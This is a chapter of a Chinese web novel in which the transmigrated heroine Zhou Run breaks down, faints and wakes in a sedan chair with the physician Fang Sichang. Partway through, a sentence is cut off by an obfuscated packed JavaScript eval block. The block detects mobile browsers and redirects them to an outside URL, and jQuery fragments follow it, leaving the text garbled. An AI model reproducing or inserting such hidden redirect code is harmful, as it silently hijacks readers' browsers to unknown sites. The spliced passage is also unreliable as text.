47. 第二次昏迷

作品:《草包夫君怎么也是穿来

    周润听到方思常的话,眼珠子从左转到右边,又从右边转到左边,毅然一副决不相信的表情。


    怎么会这样?


    伤口处经常是一阵酥酥麻麻的感觉,她还以为是长出新肉的麻痹感,怎么会是被腐蚀殆尽的感觉。


    不对不对。


    方思常是不是在恐吓她。


    方思常觉得自己不好控制,所以就将自己的伤情夸大其词,目的就是为了让自己更好地依赖上对方的金创药。


    这样一来无论周润愿意还是不愿意,会不会临阵脱逃,她都得硬着头皮帮方思常查下去。


    对,一定是这样。


    所以眼前之人竟然又是为了利用自己而来的。


    周润只觉得自己大脑轰鸣,一时间种种想法都往深处奔跑过去,完全无法负荷。


    神经病,一群神经病。


    为什么总要在她试图以为这个世界上终于有人能够信任的时候给她重重一击。


    在方思常不理解的眼神中,周润双手捂住耳朵,低头啜泣。


    紧绷的神经终于在反复的拉扯、放松之中找到了一个绝佳的机会,给这个熊孩子来了一记重大的教训。


    很多人只是在表面上看起来是正常的,实际上根本无法消化面前所发生的一切。


    正如医院的医生会让目睹车祸的人至少保持8个小时以上的清醒后才能进入睡眠。因为他们表面上看起来正常,但内里却被眼前的一切震碎成几片。


    不让自己消化掉情绪,反而想着运用睡觉等方式逃避需要面对的事情,就会让大脑在无意识的状态反复咀嚼、重演。


    再然后,或许是一件小事,或许是类似的场景重现,紧绷的神经就会在一瞬间崩开,随后,人就会不断陷入强大的情绪漩涡中无法自拔。


    周润看起来正常,但从始至终也只是个象牙塔中的普通人,还是一个非常忠诚的唯物主义者。


    骤然落水,被系统拖入丽朝,再被任务席卷而来,这桩桩件件根本没有给过周润喘息的机会。好不容易接受了眼前的场景,想着要和张沛民共同努力为了回到现代而奋斗,却发现处在这个朝代中的人根本不是她想象中的样子。


    宋云熙,凶手,余清风,张立勋……


    他们都披着一层外衣接近周润,在得到她的信任后却又猛然撕裂眼前的装束。


    甚至,她本能依赖的“救命恩人”也这样。


    周润好累,她真得好累。


    她以为可以寻找到一个依赖的人,她以为回到现实世界的任务应当很容易。


    周润想回家,周润不想完成这些任务了,她不想为了张沛民到处奔波了,她只想回家。


    渐渐地,她把原先咽下肚中的呜咽放大声量,打了方思常个措手不及。


    “这孩子,搞什么啊……”


    不就是说她伤口还要多几日还能好吗,怎么一副哭爹喊娘的要死模样。


    方思常认真地检讨自己,感觉还是难辞其咎了。


    遂,掏出手帕,塞到周润的怀中,并提供了一个宽阔的胸膛让周润躲进来哭泣。


    现在这个样子,她还是别触周润的霉头了。要哭就哭吧,多大点事,哭过就可以了。


    “行了行了,有啥委屈都哭出来吧,我不凶你了。”


    周润估计也是哭懵了,发现方思常靠过来的时候就自动把头倚靠在对方的胸膛处,双手扣紧她的身体,不让方思常有动弹逃脱的余地。


    方思常吃痛,只得轻轻拍着周润的后背安慰安稳,


    “别哭了,我陪你回府中看看剩下的汤药好吧!”


    意料之中的,周润根本没有回应。


    “宿主!宿主!你先别哭了!宿主!任务重要啊!方思常同意跟你回张府了!到时候你只要把张沛民带到他眼前就能解决一大半的问题了。”


    意料之外的,周润也没有回答系统的催促。


    0056感觉有些不对劲,周润经常性只回复有如“嘁”、“爬”这一类的语气词,但也不至于现在这样一声不吭啊。


    “宿主?宿主?”


    停留在此处的依旧只有周润变了些腔调的哭声。


    此前失败九次的任务让0056获得了一些敏锐的感知,宿主突然大变样,一定要小心。


    鬼使神差地,他竟然调出来周润的数值面板。


    “!”


    事实证明0056没有做错,周润的生命数值在不断上下波动,起伏比过山车还要刺激。系统满头大汗,把挂在脑门上的垃圾数据链从额头上拽下来,在原身的意识占据抢夺身体之前赶紧给周润进行所谓的“熔断”机制,将她的意识抽离身体。


    咻的一声,周润浑身瘫软,连口中的声音也没有了。


    完成后,系统也顺应着自己的行动暂时随着宿主抽离的意识暂时休眠。


    方思常感到不对,原先禁锢自己的双手骤然松开,对方整个身体都直直地坠入怀抱中。周润的脑袋也一歪,扣在了方思常的脖颈处。


    她可承受不住周润一个成年女性的重量,还没来得及把周润往反方向推过去就被抱着一起倒在地上。


    方思常闷哼一声,后脑勺着地,只觉得眼冒金星,天旋地转。


    她在地上恍惚了很久之后才反应过来,把压在自己身上的周润推开,放在地面上,再重新翻了过来。


    这一番折腾,即使周润今日可以束紧的发髻都散乱下来几缕头发,更别提身上外来的东西了。刚才方思常给周润包扎妥当的纱布再次散开来,露出了内部骇人的伤口。


    被涂抹上金创药的剑伤此刻正在往外流着黑水,内里的腐肉翻出来,无不在展示着周润的伤口比刚产生的时候状态更差。


    -----------------


    周润感觉自己浑身都疼痛,特别是额头,隐约还有肿起来的迹象。她眼皮太过沉重,迷迷瞪瞪地才打开一条缝隙。


    “嘶。好痛”


    周润打开的眼皮又被合了回去。


    无他,强烈的光影让她不得不闭上眼睛先适应一番。


    这些都是其次,周润的意识回笼,胃部竟然无端翻涌起来一股想要呕吐的情绪。


    左摇右晃的,十足晕车的味道。


    “宿主……你醒了……”


    周润脑中响起来0056虚弱的电子音,听上去像是坐了20个小时长途大巴,终于一脚踏到水泥地上面的腿软感。


    同时发现周润醒来的,还有一同挤在轿子中的方思常。


    在话语间,方思常的手就已经摸上周润的脉搏,仔仔细细地判断着周润现在的状态。


    “嘘,我们现在正在回张府的路上。你别声张。”


    “额,我怎么了。”


    周润只觉额角莫名疼痛,居然又是在无意识中给自己“娇弱”的身体来上了更多的伤痕。


    可惜右手被方思常夺了去把脉,左手伤口仍未愈合。她一时间竟同时失去了双手的控制权,只能任由额角发胀,将脆弱的闭合性伤口蹭上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364066|194354||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    打磨光滑的轿子内壁表面轻轻揉着,就像是往日仆人给周润用鸡蛋滚着伤口那般聊以自慰。


    周润也不知道自己究竟是怎么了,心头一直萦绕着一股诡异的情愫,让她实在难以忽略这种外来的、而由霸道地占据主基调的情感。


    就好像是,喝酒喝醉了,翌日起来就将昨晚的事情忘得一干二净,唯有脑中浑沌如浆糊的体感印证着所有的事情都并非噩梦。


    这种感觉不是第一次了,对上一次,应该就是被余清芯骗进宫中的那一次。莫名其妙地情绪上头,莫名其妙地昏睡,莫名其妙地中了一剑,再醒来时已经是躺在床上半死不活地被人救了回来。


    要说有什么确定的,那可能是这两次醒来都是方思常伴在自己的左右。


    说时迟那时快,方思常针灸找穴位都几乎是一击即中,把脉这种东西更不在话下。换着两手都探了个遍,周润还没有在头痛欲裂中找到一些蛛丝马迹。


    “暂时死不了。”


    她还十分贴心地把两手翻起来的袖口又给重新掖了回去,一脸严肃道,


    “你仔细想想,在这段时间里有没有一些奇怪的事情发生过。例如某天吃了什么东西后就开始腿脚不利索,或者是忽然就感染了风寒?这件事情非常重要,非常非常重要。”


    这一连串咄咄逼人的架势让周润无法忽略与逃避,只能想了又想,想了又想,最终还是没有想出个好歹。


    她和方思常肩膀贴着肩膀,紧密的接触更加放大周润的不安。这种焦躁与惶恐恐怕是来自于周润蓦然醒来后还处在一个什么都不清楚的状态,而方思常却胸有成竹一般像是知道了所有事情的前因后果,只待从周润的口中得到一个肯定的回答后便会骤然起身席卷所有涉及此事之人。


    “我,我想不起来了……”


    周润并没有想着隐瞒什么,毕竟现在自己的半条“命根子”都被方思常握在手中,骗来骗去的不利于友好交流。


    “欸。”


    方思常轻叹一声,默默地抓了一把头发以cos沉思者的形象,


    “没事没事,是我太操之过急了。”


    “让你想起来也未免太难了。”


    “什么?”


    周润听到方思常后半句低声嘟囔的话语,忍不住发问道。


    她似乎没想到自己今日的大脑竟然会如此不清醒,毫无顾忌地就将内心腹诽的话语给说了出来。方思常把心一横,抿嘴坦白,


    “我……”


    外面同时传来了一把有些熟悉的男性声音,


    “二夫人,安大夫,我们就快回到张府了。”


    嘶,怪不得周润会觉得熟悉。这样称呼自己的除了李东还有谁。


    “好的,谢谢李管家。”


    方思常抢先一步,提高声音回应了李东的提醒。


    周润狐疑地望着她,方才还游离在丽朝之外的意识终于回笼,能够就着目前的状况以及李□□如其来的一句话引申出无数个问题。


    她怎么会晕了过去?


    明明今日周润特地嘱托李东等等一众人自己有要事,无需特意派人前来。


    她又怎么会坐上了回张府的轿子上?


    方思常怎么会化名与自己一同回去?


    她到底昏迷了多久,方思常又趁着自己昏迷直接,借用自己的身份干了什么事情。


    方思常迎着周润的目光,率先堵住了对方所有想要开口的疑问,跟对方对起了供词。


    “好了,长话短说。”